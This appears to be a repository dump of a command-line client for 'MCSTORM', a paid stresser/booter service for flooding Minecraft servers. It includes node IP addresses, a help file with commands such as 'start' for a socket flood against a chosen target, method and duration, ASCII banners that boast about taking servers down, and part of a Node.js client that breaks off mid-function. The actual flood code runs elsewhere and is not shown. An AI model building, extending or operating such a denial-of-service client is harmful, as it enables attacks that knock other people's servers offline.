├── nodes.txt ├── image ├── logo.png ├── legend.png ├── waf-proxy.png ├── screenshot.png ├── screenshot2.png ├── STORMNET-mcstorm.png ├── cloudflare-full.png ├── cloudflare-flexible.png └── stresser-cloudflare.png ├── sounds ├── directMessage.wav └── communityMessage.wav ├── links.txt ├── logos ├── cowsay.hwtxt ├── help-using-a-module.txt ├── snow-globe.aftxt ├── fish.aftxt ├── bird.aftxt ├── wolf.aftxt ├── drowning.aftxt ├── planet.aftxt ├── fbi.aftxt ├── wake-up-neo.txt ├── talking-parrots.aftxt ├── owls.aftxt ├── cat.aftxt ├── lady.aftxt ├── spiders.aftxt ├── dyno-vs-knight.aftxt ├── rip-server.aftxt ├── workflow.txt ├── garden.aftxt ├── missile-command.txt ├── santa.aftxt ├── pony-02.aftxt ├── pony-04.aftxt ├── pony-03.aftxt └── pony-05.aftxt ├── .gitignore ├── help.txt ├── package.json ├── pow.js ├── LICENSE ├── master_public_key.pem ├── run.bat ├── README.md └── index.js /nodes.txt: -------------------------------------------------------------------------------- 1 | 185.174.136.220:25852 2 | 92.118.207.212:25852 -------------------------------------------------------------------------------- /image/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NotNullV1/STORMNET-MCSTORM-Client/HEAD/image/logo.png -------------------------------------------------------------------------------- /image/legend.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NotNullV1/STORMNET-MCSTORM-Client/HEAD/image/legend.png -------------------------------------------------------------------------------- /image/waf-proxy.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NotNullV1/STORMNET-MCSTORM-Client/HEAD/image/waf-proxy.png -------------------------------------------------------------------------------- /image/screenshot.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NotNullV1/STORMNET-MCSTORM-Client/HEAD/image/screenshot.png -------------------------------------------------------------------------------- /image/screenshot2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NotNullV1/STORMNET-MCSTORM-Client/HEAD/image/screenshot2.png -------------------------------------------------------------------------------- /sounds/directMessage.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NotNullV1/STORMNET-MCSTORM-Client/HEAD/sounds/directMessage.wav -------------------------------------------------------------------------------- /image/STORMNET-mcstorm.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NotNullV1/STORMNET-MCSTORM-Client/HEAD/image/STORMNET-mcstorm.png -------------------------------------------------------------------------------- /image/cloudflare-full.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NotNullV1/STORMNET-MCSTORM-Client/HEAD/image/cloudflare-full.png -------------------------------------------------------------------------------- /sounds/communityMessage.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NotNullV1/STORMNET-MCSTORM-Client/HEAD/sounds/communityMessage.wav -------------------------------------------------------------------------------- /image/cloudflare-flexible.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NotNullV1/STORMNET-MCSTORM-Client/HEAD/image/cloudflare-flexible.png -------------------------------------------------------------------------------- /image/stresser-cloudflare.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NotNullV1/STORMNET-MCSTORM-Client/HEAD/image/stresser-cloudflare.png -------------------------------------------------------------------------------- /links.txt: -------------------------------------------------------------------------------- 1 | https://mcstorm.is 2 | https://www.guilded.gg/mcstorm 3 | https://t.me/mcstormiochat 4 | https://www.youtube.com/@mcstormio 5 | https://www.instagram.com/mcstorm.io/ -------------------------------------------------------------------------------- /logos/cowsay.hwtxt: -------------------------------------------------------------------------------- 1 | 2 | # cowsay++ 3 | ___________ 4 | | mcstorm | 5 | ‾‾‾‾‾\‾‾‾‾‾ 6 | \ ,__, 7 | \ (oo)____ 8 | (__) )\ 9 | ||--|| * 10 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | node_modules/ 2 | node-v18.16.0-win-x64/ 3 | chatHistories/ 4 | private_key.pem 5 | public_key.pem 6 | public_key_pow.txt 7 | username.txt 8 | contype.txt 9 | contacts.json 10 | package-lock.json 11 | tor.tar.gz 12 | tor.exe 13 | nodejs.zip 14 | -------------------------------------------------------------------------------- /logos/help-using-a-module.txt: -------------------------------------------------------------------------------- 1 | _____________________________ 2 | / it looks like you're trying \ 3 | \ to crash a server / 4 | ‾‾\‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾ 5 | \ 6 | \ 7 | %whi__ 8 | / \ 9 | | | 10 | %cya@ @ 11 | %whi| | 12 | || |/ 13 | || || 14 | |\_/| 15 | \___/ 16 | -------------------------------------------------------------------------------- /logos/snow-globe.aftxt: -------------------------------------------------------------------------------- 1 | 2 |            ____ 3 | you better   .-"____"-. 4 | cool down    /.'|:==#|*`\ 5 | your |:.*|:==#| ':| 6 | server   |:*'|:==#|'*:| 7 |        \:~^~^~^~^:/ 8 |        /`-....-'\ 9 |      /          \ 10 |        `-.,____,.-' 11 | -------------------------------------------------------------------------------- /logos/fish.aftxt: -------------------------------------------------------------------------------- 1 | 2 |            \   '    o      ' 3 |     glub   /\ o       \  o 4 |          >=)'>    '   /\ ' 5 |            \/   \   >=)'>  blub  ~ 6 |            /    /\    \/ 7 |       ~       >=)'>   /     . 8 |    i took down \/ 9 |                 / your hub 10 | -------------------------------------------------------------------------------- /logos/bird.aftxt: -------------------------------------------------------------------------------- 1 | 2 |                           .--. ______________________________ 3 |                      ."  o \__ <| peep peep my swarm goes deep | 4 |                   _.-"    ,(  ‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾ 5 |               _.-"      ,;;| 6 |          _.-=" _,"    ,,;;;' 7 |      .-"`_.-"``-..,,;;;;:' 8 |      `"'`          `\`\ 9 |                   /^\\\ 10 | -------------------------------------------------------------------------------- /logos/wolf.aftxt: -------------------------------------------------------------------------------- 1 | 2 |                    ..:::::.. 3 |               .:::::::::::. 4 |              ::::mcstorm:::: 5 |             ::::::::::::::::: 6 |             :::::::_/|::::::: 7 |              ::::=/_/::::::: 8 |               `:_/ |::::::' 9 |            (   /  ,|:::'' 10 |             \_/^\/||__ 11 |          _/~  `""~`"` \_ 12 |       __/  -'/  `-._ `\_\__ 13 |     /.-´ _/-'`  `\   \  \-.\ 14 | -------------------------------------------------------------------------------- /logos/drowning.aftxt: -------------------------------------------------------------------------------- 1 | 2 |  *drowning in bad connection* 3 |                   ___ 4 |              /`  _\ 5 |              |  / 0|--. 6 |         -   / \_|0`/ \.`'._/) 7 |     - ~ -^_| /-_~ ^- ~_` - -~_ 8 |     -  ~  -| |   - ~ -  ~  - 9 |          \ \, ~   -   ~ 10 |              \_| 11 | -------------------------------------------------------------------------------- /help.txt: -------------------------------------------------------------------------------- 1 | 2 | Available commands: 3 | 4 | redeem - redeems a code to obtain a plan 5 | 6 | start [PROTOCOL] - starts a socket flood 7 | stop - stops all floods 8 | 9 | methods - show available methods 10 | protocols - show most popular protocol versions 11 | networks - show available networks 12 | 13 | dns - resolve DNS 14 | mcdns - resolve minecraft SRV records 15 | whois - gets whois information 16 | 17 | - target 18 | - attack method 19 | - which network to use 20 | - how long should the flood last 21 | [PROTOCOL] - minecraft protocol version 22 | -------------------------------------------------------------------------------- /logos/planet.aftxt: -------------------------------------------------------------------------------- 1 | 2 |                *       + 3 |    *      '                  | 4 |       ()    .-.,-"``"-.    - o - 5 |             '=/_ storm \     | 6 |          *   |::'=._net ;        ' 7 |    '          \::.  `=./`,   ' 8 |       +    .   '-::..-'``'     * 9 |       O    *     .       +  . 10 |            *     .       + 11 | -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "mcstorm-client", 3 | "version": "0.0.1", 4 | "description": "MCSTORM Client", 5 | "scripts": { 6 | "start": "node --no-deprecation --no-warnings index.js" 7 | }, 8 | "author": "NotNull", 9 | "license": "ISC", 10 | "dependencies": { 11 | "cli-table3": "^0.6.3", 12 | "colors": "^1.4.0", 13 | "inquirer": "^8.0.0", 14 | "node-notifier": "^10.0.1", 15 | "readline": "^1.3.0", 16 | "socket.io": "^4.6.1", 17 | "socket.io-client": "^4.6.1", 18 | "socks-proxy-agent": "^7.0.0", 19 | "sound-play": "^1.1.0", 20 | "tar-stream": "^3.0.0", 21 | "whois": "^2.14.0", 22 | "zlib": "^1.0.5" 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /pow.js: -------------------------------------------------------------------------------- 1 | const { parentPort, workerData } = require('node:worker_threads'); 2 | const crypto = require('crypto'); 3 | 4 | function sha256(input) { 5 | const hash = crypto.createHash('sha256'); 6 | hash.update(input); 7 | return hash.digest('hex'); 8 | } 9 | 10 | function pow(string, difficulty) { 11 | var lead = ''; 12 | for (var i = 0; i < difficulty; i++) { 13 | lead += "0"; 14 | } 15 | var hash = ''; 16 | var count = Math.floor(Math.random() * Number.MAX_SAFE_INTEGER); 17 | while (!hash.startsWith(lead)) { 18 | count++; 19 | const final = string+count; 20 | hash = sha256(final) 21 | } 22 | return count 23 | } 24 | 25 | parentPort.postMessage(pow(workerData.string, workerData.difficulty)) 26 | 27 | process.exit() -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | ISC License 2 | 3 | Copyright (c) 2023 NotNull 4 | 5 | Permission to use, copy, modify, and/or distribute this software for any 6 | purpose with or without fee is hereby granted, provided that the above 7 | copyright notice and this permission notice appear in all copies. 8 | 9 | THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH 10 | REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY 11 | AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, 12 | INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM 13 | LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR 14 | OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR 15 | PERFORMANCE OF THIS SOFTWARE. -------------------------------------------------------------------------------- /master_public_key.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAoOc66poRkfqW3YoKQ32V 3 | atwRxWu2nBsV5j0OZY/bkaWWrFDVyM/J892bJPWrLuNgRmIPBw6chyTLOtl/+KlS 4 | MNa/F8mp0/QcEMWdiuo1TAXpgFGhRSYnL1vLPIUvZ7x0TRyXT1McqC3IgK9MpqNf 5 | a9SHbpFPNlVDoFAHLVtOqwkkBTuAlM523tSzegprhdiO3oyl/OHzMu3G8sO6/aS7 6 | HNepjMWZBFP6VwA0u5svhjkucmJrcsZFDrH7y2xGYAq4EyS08eclKu+7PfPTsNli 7 | TD5pMivbfr1s8qr1QFYxfksdOVE5koUj43ztf03MSG07nIBPVL7yQ61zD4l2O4A0 8 | E19v9z4cb889Vwg2GpgyaE8KezEn0Cp2hMSZtzNnIDHZb3H2wSk16onEGgsaVaT4 9 | vDS0aHt7nVoVgSAJwkuinAsZS89JvCFHBhZbLSPP+a84eJQI3Ijz3Y3keOUfQg0N 10 | HJfmn9t7XrVjWVO7dOfoF7NuKls1Rhq7C4UtS2GDVYQJ6VFhR4cFIN26rF+Sw/1n 11 | gg4zJF8VHyfSiU/FFFqOwHBCGF6sgB0YuOui8VEMzWDoQmnU/iBnXPPjdmYqYm5i 12 | 5ew8dwYzach7kD+Q7pFAZ3TB1693NiYvNvCu04Uj/E0287DsNK2zpE9QheuGpalU 13 | Vz0wHv82NOAZYhd0JKWlQucCAwEAAQ== 14 | -----END PUBLIC KEY----- 15 | -------------------------------------------------------------------------------- /logos/fbi.aftxt: -------------------------------------------------------------------------------- 1 | 2 |                     , 3 |         __  _.-"` `'-. __________________________________________________ 4 |        /||\'._ __{}_( / STOP! This is the FBI! \ 5 |        ||||  #'--.__\ \ You are arrested for booting a Minecraft server! / 6 |        |  L.(   ^_\^ ‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾ 7 |        \ .-' |   _ | 8 |        | |   )\___/ 9 |        |  \-'`:._] 10 |        \__/;      '-. 11 |        |   |o     __ \ 12 |        |   |o     )( | 13 |     |   |o     \/ \ 14 | -------------------------------------------------------------------------------- /logos/wake-up-neo.txt: -------------------------------------------------------------------------------- 1 | 2 | %whiCall trans opt: received. 2-19-98 13:24:18 REC:Loc 3 | 4 | Trace program: running 5 | 6 | wake up, Neo... 7 | %bldthe matrix has you%clr 8 | follow the white rabbit. 9 | 10 | knock, knock, Neo. 11 | 12 | (`. ,-, 13 | ` `. ,;' / 14 | `. ,'/ .' 15 | `. X /.' 16 | .-;--''--.._` ` ( 17 | .' / ` 18 | , ` ' Q ' 19 | , , `._ \ 20 | ,.| ' `-.;_' 21 | : . ` ; ` ` --,.._; 22 | ' ` , ) .' 23 | `._ , ' /_ 24 | ; ,''-,;' ``- 25 | ``-..__``--` 26 | 27 | https://mcstorm.is%clr 28 | -------------------------------------------------------------------------------- /logos/talking-parrots.aftxt: -------------------------------------------------------------------------------- 1 | 2 |  ____________ _________________ 3 |  | let's boot | | OK hold my beer | 4 |  ‾‾‾‾‾\‾‾‾‾‾‾ ‾‾‾‾‾‾‾‾/‾‾‾‾‾‾‾‾ 5 |  \ / 6 |  \ / 7 |             .===.          .---.""". 8 |         /:::6_6        /___/:(O:)\ 9 |         \:::(__\         `-\:::::/ 10 |         //:::\\            //:::\\ 11 |        ((:::::))          {{:::::}} 12 |  =======""===""============""===""======= 13 |         |||                ||| 14 |           |||                ||| 15 |           '|'                '|' 16 | -------------------------------------------------------------------------------- /logos/owls.aftxt: -------------------------------------------------------------------------------- 1 | 2 |  _____________________ 3 |  | HOOT HOOT BOOT ROOT | 4 |  ‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾ 5 |  6 |           (\___/)   (\___/)   (\___/)   (\___/)   (\___/) 7 |        /0\ /0\   /o\ /o\   /0\ /0\   /O\ /O\   /o\ /o\ 8 |        \__V__/   \__V__/   \__V__/   \__V__/   \__V__/ 9 |       /|:. .:|\ /|;, ,;|\ /|:. .:|\ /|;, ,;|\ /|;, ,;|\ 10 |       \\:::::// \\;;;;;// \\:::::// \\;;;;;// \\;;;;;// 11 |    --`"" ""`---`"" ""`---`"" ""`---`"" ""`---`"" ""`-- 12 |    ~^^~^~^~^~^^~~^^^~^~~^~^~^~^^~~^^^~^~~^~^~^~^^~~^^^~^^^ 13 | -------------------------------------------------------------------------------- /logos/cat.aftxt: -------------------------------------------------------------------------------- 1 | 2 |                  *     ,MMM8&&&.            * 3 |                    MMMM88&&&&&    . 4 |                   MMMM88&&&&&&& 5 |       *           MMM88&&&&&&&& 6 |  ___________       MMM88&&&&&&&& 7 |  | meowstorm |      'MMM88&&&&&&' 8 |  ‾‾‾‾‾‾‾\‾‾‾         'MMM8&&&'      * 9 |         \  |\___/| 10 |            )     (             .              ' 11 |           =\     /= 12 |             )===(       * 13 |            /     \ 14 |            |     | 15 |           /       \ 16 |           \       / 17 |    _/\_/\_/\__  _/_/\_/\_/\_/\_/\_/\_/\_/\_/\_ 18 |    |  |  |  |( (  |  |  |  |  |  |  |  |  |  | 19 |    |  |  |  | ) ) |  |  |  |  |  |  |  |  |  | 20 |    |  |  |  |(_(  |  |  |  |  |  |  |  |  |  | 21 |    |  |  |  |  |  |  |  |  |  |  |  |  |  |  | 22 |    |  |  |  |  |  |  |  |  |  |  |  |  |  |  | 23 | -------------------------------------------------------------------------------- /run.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | mode con: cols=200 lines=50 3 | cls 4 | 5 | REM if npm is installed 6 | where npm >nul 2>nul 7 | if %errorlevel% == 0 ( 8 | goto :run 9 | ) 10 | 11 | if exist node-v18.16.0-win-x64\ ( 12 | goto :run 13 | ) else ( 14 | goto :download_node 15 | ) 16 | 17 | REM run client 18 | :run 19 | REM check for any module used by the client 20 | if exist node_modules\inquirer\ ( 21 | REM if modules installed, start client either using local node or installed node 22 | if exist node-v18.16.0-win-x64\ ( 23 | "node-v18.16.0-win-x64/node" --no-deprecation --no-warnings index.js 24 | ) else ( 25 | node --no-deprecation --no-warnings index.js 26 | ) 27 | ) else ( 28 | REM if modules not installed, install them and then start client either using local node or installed node 29 | if exist node-v18.16.0-win-x64\ ( 30 | "node-v18.16.0-win-x64/npm" i 31 | "node-v18.16.0-win-x64/node" --no-deprecation --no-warnings index.js 32 | ) else ( 33 | npm i 34 | node --no-deprecation --no-warnings index.js 35 | ) 36 | ) 37 | 38 | REM download nodejs 39 | :download_node 40 | REM curl node from official source 41 | echo Setting up nodejs for Windows... 42 | echo. 43 | curl -o nodejs.zip https://nodejs.org/dist/v18.16.0/node-v18.16.0-win-x64.zip 44 | tar -xvf nodejs.zip 45 | del nodejs.zip 46 | 47 | goto :run 48 | -------------------------------------------------------------------------------- /logos/lady.aftxt: -------------------------------------------------------------------------------- 1 | 2 |             *POOF*        ,_  .--. 3 |             _)\/    ;--. 4 |    . ' .    _.-'`   |  .'    \ 5 |   *POOF*  -= * =-  (.-,    /  /       | 6 |            ' .\'    ). `))/ .'   _/\ / 7 |    \_   \_  /( /     \ /( 8 |                /_\ .--'   `-.    //  \ 9 |                ||\/        , '._//    | 10 |                ||/ /`(_ (_,;`-._/     / 11 |                \_.'   )   /`\       .' 12 |          .' .  |  ;.   /` 13 |    server down    /      |\(  `.( 14 |                   |   |/  | `    ` 15 |                  |   |  / 16 |                   |   |.' 17 |                __/'  / 18 |            _ .'  _.-` 19 |         _.` `.-;`/ 20 |        /_.-'` / / 21 |              | / 22 |           ( / 23 |            /_/ 24 | -------------------------------------------------------------------------------- /logos/spiders.aftxt: -------------------------------------------------------------------------------- 1 |  _________________ 2 |  | MCSTORM SWARM | 3 |  ‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾ 4 |                                     _ 5 |          /      \         __      _\( )/_ 6 |       \  \  ,,  /  /   | /  \ |    /(O)\ 7 |        '-.`\()/`.-'   \_\\  //_/    _.._   _\(o)/_  //  \\ 8 |       .--_'(  )'_--.   .'/()\'.   .'    '.  /(_)\  _\\()//_ 9 |      / /` /`""`\ `\ \   \\  //   /   __   \       / //  \\ \ 10 |       |  |  ><  |  |          ,  |   ><   |  ,     | \__/ | 11 |       \  \      /  /         . \  \      /  / .              _ 12 |      _    '.__.'    _\(O)/_   \_'--`(  )'--'_/     __     _\(_)/_ 13 |   _\( )/_            /(_)\      .--'/()\'--.    | /  \ |   /(O)\ 14 |    /(O)\  //  \\         _     /  /` '' `\  \  \_\\  //_/ 15 |          _\\()//_     _\(_)/_    |        |      //()\\ 16 |      / //  \\ \     /(o)\      \      /       \\  // 17 |          | \__/ | 18 | -------------------------------------------------------------------------------- /logos/dyno-vs-knight.aftxt: -------------------------------------------------------------------------------- 1 | 2 |                                        |\             // 3 |                                         \\           _!_  ___________ 4 |       _______________________            \\         /___\ | not today | 5 |     | you are under arrest! |         \\        [+++] /‾‾‾‾‾‾‾‾‾‾‾ 6 |       ‾‾‾‾‾‾‾‾‾‾‾‾‾‾/‾‾‾‾‾‾‾‾              \\    _ _\^^^/_ _ 7 |                ,a_a                         \\/ (    '-'  ( ) 8 |               {/ ''\_                       /( \/ |MCSTORM/\ \ 9 |               {\ ,_oo)                        \  / \     / _> ) 10 |               {/  (_^_@\_________________      "`   >:::;-'`""'-. 11 |     .=.      {/ \___)))*)---------------"`         /:::/     \ 12 |    (.=.`\   {/   /=;  @/                          /  /|| STORM | 13 |        \ `\{/(   \/\                             (  / (\     NET / 14 |         \  `. `\  ) )                            / /   \'-.___.-' 15 |       \    // /_/_                          _/ /     \ \ 16 |           '==''---))))                        /___|    /___| 17 | -------------------------------------------------------------------------------- /logos/rip-server.aftxt: -------------------------------------------------------------------------------- 1 | 2 |                   .--. .-,       .-..-.__ 3 |              .'(`.-` \_.-'-./`  |\_(_"\__ _________ 4 |           __.>\ ';  _;-O-,._|   / __/`'--) <| MCSTORM | 5 |          /.O-.  : |/' _.--.<|  /  | | ‾‾‾‾‾‾‾‾‾ 6 |      _..-'    `\     /' /`  /_/ _/_/ 7 |       >_.-``-. `Y  /' _;---.`|/)))) 8 |      '` .O''. \|:  \.'   _O, .-'"` 9 |       .'--._ `-:  \/:  /'  '.\             _|_ 10 |           /.'`\ :;   /'      `-           `-|-` 11 |          -`    |     |                      | 12 |                :.; : |                  .-'~^~`-. 13 |                |:    |                .'      `. 14 |                |:.   |                | R.I.P | 15 |                :. :  |                | Minecraft | 16 |               .| . : ;                |  servers  | 17 |      -."-/\\\/:::.    `\."-._'."-"_\\-|           |///."- 18 |      " -."-.\\"-."//.-".`-."_\\-.".-\\`=.........=`//-". 19 | -------------------------------------------------------------------------------- /logos/workflow.txt: -------------------------------------------------------------------------------- 1 | 2 | %whi+-------------------------------------------------------+ 3 | %whi| MCSTORM by NotNull | 4 | %whi+---------------------------+---------------------------+ 5 | %whi| %blu__________________ %whi| | 6 | %whi| %yel==c%blu(______(%yelo%blu(______(_%yel() %whi| %grn|"""""""""""|======[%red*** %whi| 7 | %whi| %blu)%yel=%blu\ %whi| %grn| %whiPORTSCAN %grn\ %whi| 8 | %whi| %blu// \\ %whi| %grn|_____________\______ %whi| 9 | %whi| %blu// \\ %whi| %grn|==[? %clr> dns %cyawtf.gg%grn]==\ %whi| 10 | %whi| %blu// \\ %whi| %grn|_____________________\ %whi| 11 | %whi| %blu// %whiRECON %blu\\ %whi| %grn\(@)(@)(@)(@)(@)(@)(@)/ %whi| 12 | %whi| %blu// \\ %whi| %grn********************* %whi| 13 | %whi+---------------------------+---------------------------+ 14 | %whi| o O o | %yel\'\/\/\/'/ %whi| 15 | %whi| o O | %yel)%whi======%yel( %whi| 16 | %whi| o | %yel.' %whiPROFIT %yel'. %whi| 17 | %whi| %red|^^^^^^^^^^^^^^|l%red___ %whi| %yel/ %grn_||__ %yel\ %whi| 18 | %whi| %red| %whiATTACK %red|%whi""\%red___, %whi| %yel/ %grn(_||_ %yel\ %whi| 19 | %whi| %red|________________|__|)__| %whi| %yel| %grn__||_) %yel| %whi| 20 | %whi| %red|(@)(@)"""**|(@)(@)**|(@) %whi| %yel" %grn|| %yel" %whi| 21 | %whi| %yel= = = = = = = = = = = = %whi| %yel'--------------' %whi| 22 | %whi+---------------------------+---------------------------+%clr 23 | -------------------------------------------------------------------------------- /logos/garden.aftxt: -------------------------------------------------------------------------------- 1 | 2 |                ,            __ \/ __ 3 |         /\^/`\          /o \{}/ o\   If I had a flower for each time 4 |        | \/   |         \   ()   /   I brought a server down, my 5 |        | |    |          `> /\ <`   ,,,  garden would be full... 6 |        \ \    /  @@@@    (o/\/\o)  {{{}}                 _ _ 7 |         '\\//'  @@()@@  _ )    (    ~Y~       @@@@     _{ ' }_ 8 |           ||     @@@@ _(_)_   wWWWw .oOOo.   @@()@@   { `.!.` } 9 |           ||     ,/  (_)@(_)  (___) OO()OO    @@@@  _ ',_/Y\_,' 10 |           ||  ,\ | /)  (_)\     Y   'OOOO',,,(\|/ _(_)_ {_,_} 11 |       |\  ||  |\\|// vVVVv`|/@@@@    _ \/{{}}}\| (_)@(_)  |  ,,, 12 |       | | ||  | |;,,,(___) |@@()@@ _(_)_| ~Y~ wWWWw(_)\ (\| {{{}} 13 |       | | || / / {{}}} Y  \| @@@@ (_)#(_) \|  (___)   |  \| /~Y~ 14 |        \ \||/ /\\|~Y~ \|/  | \ \/  /(_) |/ |/   Y    \|/  |//\|/ 15 |    \ `\\//`,.\|/|//.|/\\|/\\|,\|/ //\|/\|.\\\| // \|\\ |/,\|/ 16 |   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 17 | -------------------------------------------------------------------------------- /logos/missile-command.txt: -------------------------------------------------------------------------------- 1 | %clr 2 | ______________________________________________________________________________ 3 | | | 4 | | %bld%grnMCSTORM CYBER MISSILE COMMAND %clr | 5 | |______________________________________________________________________________| 6 | %yel\%clr %yel/%clr %yel/%clr 7 | %yel\%clr . %yel/%clr %yel/%clr x 8 | %yel\%clr %yel/%clr %yel/%clr 9 | %yel\%clr %yel/%clr + %yel/%clr 10 | %yel\%clr + %yel/%clr %yel/%clr 11 | * %yel/%clr %yel/%clr 12 | %yel/%clr . %yel/%clr 13 | X %yel/%clr %yel/%clr X 14 | %yel/%clr %red###%clr 15 | %yel/%clr %red# %bld%%clr%red #%clr 16 | %yel/%clr %red###%clr 17 | . %yel/%clr 18 | . %yel/%clr . %red*%clr . 19 | %yel/%clr 20 | * 21 | + %red*%clr 22 | 23 | %bld^%clr 24 | #### __ __ __ ####### __ __ __ #### 25 | #### %yel/%clr %yel\%clr %yel/%clr %yel\%clr %yel/%clr %yel\%clr ########### %yel/%clr %yel\%clr %yel/%clr %yel\%clr %yel/%clr %yel\%clr #### 26 | ################################################################################ 27 | ################################################################################ 28 | # %bldWAVE 5%clr ######## %bldSCORE 31337%clr ################################## %bldHIGH FFFFFFFF%clr # 29 | ################################################################################ 30 | https://mcstorm.is%clr 31 | -------------------------------------------------------------------------------- /logos/santa.aftxt: -------------------------------------------------------------------------------- 1 | 2 |   _____________________   , 3 |  | You spoil children! |  / `\ _____________ 4 |   ‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾\ / _\_\                              ___ | GET FUCKED! | 5 |                |   |  |                           .'__::\ /‾‾‾‾‾‾‾‾‾‾‾‾‾ 6 |                 \;"``"/                          {_.__.}:; 7 |                 / (-\-|    ___                   |-/-);\:| 8 |                 | `-=-(   /.-.\                  )-=-`;|{} 9 |                .(`-.__/-,//  ||                 {\__.-'  } 10 |               /;;\`- 7;;//  { 49 | const parts = nodeRaw.split(":"); 50 | var node = { 51 | host: parts[0], 52 | port: parts[1], 53 | online: false 54 | }; 55 | knownNodes.push(node); 56 | }) 57 | 58 | var currentData = {}; 59 | var myAttacks = []; 60 | 61 | var commandQueue = []; 62 | var receivedMessages = []; 63 | var contacts = []; 64 | 65 | var history = []; 66 | var historyIndex = 0; 67 | 68 | var currentWindow = null; 69 | 70 | readline.emitKeypressEvents(process.stdin); 71 | process.stdin.setRawMode(true); 72 | 73 | process.stdin.on('keypress', (str, key) => { 74 | 75 | if(currentWindow!="console") return; 76 | if (key.name === 'up' && historyIndex > 0) { 77 | historyIndex--; 78 | prompt.currentPrompt.rl.line= history[historyIndex] 79 | prompt.currentPrompt.rl.cursor= history[historyIndex].length 80 | } else if (key.name === 'down' && historyIndex < history.length - 1) { 81 | historyIndex++; 82 | prompt.currentPrompt.rl.line= history[historyIndex] 83 | prompt.currentPrompt.rl.cursor= history[historyIndex].length 84 | } 85 | }); 86 | 87 | inquirer.createPromptModule = function(opt) { 88 | const promptModule = function(questions, answers) { 89 | let ui; 90 | try { 91 | ui = new inquirer.ui.Prompt(promptModule.prompts, opt); 92 | promptModule.currentPrompt = ui; // ADDED 93 | } catch (error) { 94 | return Promise.reject(error); 95 | } 96 | const promise = ui.run(questions, answers); 97 | 98 | promise.ui = ui; 99 | 100 | return promise; 101 | }; 102 | 103 | promptModule.currentPrompt = null; 104 | promptModule.prompts = {}; 105 | 106 | promptModule.registerPrompt = function(name, prompt) { 107 | promptModule.prompts[name] = prompt; 108 | return this; 109 | }; 110 | 111 | promptModule.restoreDefaultPrompts = function() { 112 | this.registerPrompt('list', require('./node_modules/inquirer/lib/prompts/list')); 113 | this.registerPrompt('input', require('./node_modules/inquirer/lib/prompts/input')); 114 | this.registerPrompt('number', require('./node_modules/inquirer/lib/prompts/number')); 115 | this.registerPrompt('confirm', require('./node_modules/inquirer/lib/prompts/confirm')); 116 | this.registerPrompt('rawlist', require('./node_modules/inquirer/lib/prompts/rawlist')); 117 | this.registerPrompt('expand', require('./node_modules/inquirer/lib/prompts/expand')); 118 | this.registerPrompt('checkbox', require('./node_modules/inquirer/lib/prompts/checkbox')); 119 | this.registerPrompt('password', require('./node_modules/inquirer/lib/prompts/password')); 120 | this.registerPrompt('editor', require('./node_modules/inquirer/lib/prompts/editor')); 121 | }; 122 | 123 | promptModule.restoreDefaultPrompts(); 124 | 125 | return promptModule; 126 | }; 127 | 128 | var prompt = inquirer.createPromptModule({ 129 | input: process.stdin, 130 | output: process.stdout, 131 | }); 132 | 133 | console.commandLog = function(text) { 134 | if (prompt.currentPrompt == null) return; 135 | var totalLength = prompt.currentPrompt.activePrompt.rl.line.length + 4; 136 | var columns = Math.floor(totalLength / process.stdout.columns) 137 | process.stdout.write("\r\x1b[0K" + (columns > 0 ? "\x1b[" + columns + "A" : "") + text + "\x1b[0K\n") 138 | 139 | process.stdout.write(prompt.currentPrompt.activePrompt.opt.prefix + " " + prompt.currentPrompt.activePrompt.opt.message.bold + " " + prompt.currentPrompt.activePrompt.rl.line + "\n\x1b[A\x1b[" + totalLength + "C"); 140 | }; 141 | 142 | function limitOutgoingMessages() { 143 | var currentTime = new Date().getTime(); 144 | var block = false; 145 | outgoingMessageLimits.forEach((limit,i,o) => { 146 | if(limit.counter == 0) limit.counterStart = currentTime; 147 | if(limit.counterStart + limit.timespan*1000 < currentTime) { 148 | o[i].counterStart = currentTime; 149 | o[i].counter = 0; 150 | } 151 | if(o[i].counter >= limit.max) block = true; 152 | o[i].counter++; 153 | }) 154 | return block; 155 | } 156 | 157 | function limitIncomingMessages(sender) { 158 | sender = sender.toString(); 159 | var currentTime = new Date().getTime(); 160 | var block = false; 161 | if(!Object.keys(incomingMessageLimits).includes(sender)) { 